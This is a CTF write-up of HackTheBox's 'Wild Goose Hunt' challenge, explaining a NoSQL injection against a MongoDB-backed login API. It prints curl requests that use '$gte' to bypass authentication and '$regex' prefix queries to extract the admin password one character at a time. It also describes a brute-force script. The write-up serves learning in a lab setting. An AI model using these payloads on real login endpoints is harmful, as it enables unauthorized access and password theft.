Writeup — Wild Goose Hunt — Cyber Apocalypse 2021 CTF — HackTheBox

Kevin De Notariis
3 min readApr 28, 2021

Initial Stage

From the Downloaded files, we can see that the website is using MongoDB as a database, in particular, we can see that in challenge/routes/index.js there is:

So we can see that the parameters usernameand passsword passed in the form are not sanitized before querying mongoDB, meaning that we can exploit it using noSQL injection techniques.

We can try first to gain an unauthorized access, by passing an object in the password field with the following content:

  • Using Content-Type: application/x-www-form-urlencoded :
curl -X POST <URL>/api/login \ -H “Content-Type: application/x-www-form-urlencoded” \ — data-raw ‘username=admin&password[%24gte]=’
  • Using Content-Type: application/json :
curl -X POST <URL>/api/login \ -H “Content-Type: application/json” \ — data-raw ‘{“username”:”admin”,”password”:{“$gte”:””}}’

If you cannot use cURL, the same thing can be achieved using Postman:

Same request using Postman

And more, in Burp, we can intercept the POST request and modify it:

Before
After

And using Burp, we can see that the page greets us with:

After successful login using noSQL injection

As we can see, there is nothing more to be done and also by looking at the source code… That’s seems to be it. The flag, then, should be the password (as also one can infer from the entrypoint.sh file) but how can we retrieve it if the only thing that is displayed is the username ? Well, we can query the database, progressively, to see whether a given string is in the password or not, let me explain this better.

Password Guessing

Using the following object for the password field:

{"$regex": "^A"}

So that the cURL command becomes:

curl -X POST <URL>/api/login \ -H “Content-Type: application/json” \ — data-raw ‘{“username”:”admin”,”password”:{“$regex”:”^A”}}’

We can see that the server responds with:

{"logged":0,"message":"Login Failed"}

But, if we try a combination of characters that we know there will be in the flag (for example the start should be CHTB{ ), we will be able to log in. As a proof of concept, we can then try:

curl -X POST <URL>/api/login \ -H “Content-Type: application/json” \ — data-raw ‘{“username”:”admin”,”password”:{“$regex”:”^CHTB{“}}’

And Boom! It is successful:

{"logged":1,"message":"Login Successful, welcome back admin."}

This means that we have a way to tell, progressively, whether the given string is part of the flag or not. We can then brute force every character until we find a closing bracket } .

For that, I implemented a js script. If you have Node.js installed you can first install two modules that I used (first initialize npm):

npm init -y
npm i got
npm i alphabet

and then the script:

By running the script, you will see that it will try every character in the alphabet variable, and when the response logged field is 1 , we keep that character in the flag variable (password). The final console.log output should contain the flag (it should take a couple of minutes to complete).

Cheers

Kevin

--

--

Kevin De Notariis

Theoretical Physicist and Infra Transformation specialist at Accenture Netherlands